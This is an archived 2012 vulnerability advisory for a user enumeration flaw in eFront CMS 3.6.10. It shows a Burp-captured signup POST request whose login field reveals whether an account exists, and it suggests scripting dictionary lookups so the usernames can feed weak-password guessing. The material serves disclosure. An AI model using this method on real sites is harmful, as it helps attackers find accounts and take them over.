what you don't know can hurt you

eFront CMS 3.6.10 User Enumeration

eFront CMS 3.6.10 User Enumeration
Posted Apr 26, 2012
Authored by HauntIT

eFront CMS version 3.6.10 suffers from a user enumeration vulnerability.

tags | exploit
MD5 | 4bb58d2d2963c36a3d0f40e51a1df295

eFront CMS 3.6.10 User Enumeration

Change Mirror Download
[ TITLE ....... ][ eFront 3.6.10 CMS user enumeration attack
[ DATE ........ ][ 11.04.2012
[ AUTOHR ...... ][ http://hauntit.blogspot.com
[ SOFT LINK ... ][ http://www.efrontlearning.net
[ VERSION ..... ][ 3.6.10
[ TESTED ON ... ][ LAMP
[ ----------------------------------------------------------------------- [

[ 1. What is this?
[ 2. What is the type of vulnerability?
[ 3. Where is bug :)
[ 4. More...

[--------------------------------------------[
[ 1. What is this?
This is very nice CMS, You should try it! ;)

[--------------------------------------------[
[ 2. What is the type of vulnerability?
This is user enumeration bug. At (3) You'll see how to enumerate all usernames
registered on eFront WWW.

[--------------------------------------------[
[ 3. Where is bug :)

So Check it out:
Vulnerable to this attack is 'Singup' part of eFront.

How to get the names:
Go to http://efront/www/index.php?ctg=signup

There You'll have 'New user account' tab.
Now what is important: to find out if user-A is registered,
just simple write his ('potential' - could be from dictionary.txt, sure ;)) username
and watch the error message in response.

From 'source of view' it looks like this:

---cut from Burp---
POST /www/NEW/efront/www/index.php?ctg=signup HTTP/1.1
Host: localhost
(...)
Referer: http://localhost/www/NEW/efront/www/index.php?ctg=signup
(...)
Content-Type: application/x-www-form-urlencoded
Content-Length: 188

_qf__signup_register_personal_form= ..... <-- leave it, no matter
&login=admin ..............<- this is Your input*, see below
&password=allowed ......................... <-- leave it, no matter
&passrepeat=allowed ......................... <-- leave it, no matter
&email=allowed%40allowed.com ................ <-- ...
&firstName=allowed ......................... <--...
&lastName=allowed ......................... <-- ...
&comments=allowed ......................... <-- ...
&submit_register=Register ......................... <-- ...

---cut from Burp---

*input - this ($login) could be nice parameter to build a simple bash/python/php/whatever-script
to enumerate in few minutes all users from CMS.

What else and so what. Usernames can be used to determine 'weak passwords' or
any other specification for 'creating usernames/passwords' (for example:
john01, john02:pass123, etc...)


[--------------------------------------------[
[ 4. More...

- http://hauntit.blogspot.com
- http://www.efrontlearning.net
- http://www.google.com
- http://portswigger.net
[
[--------------------------------------------[
[ Ask me about new projects @ mail. ;)
]
[ Best regards
[

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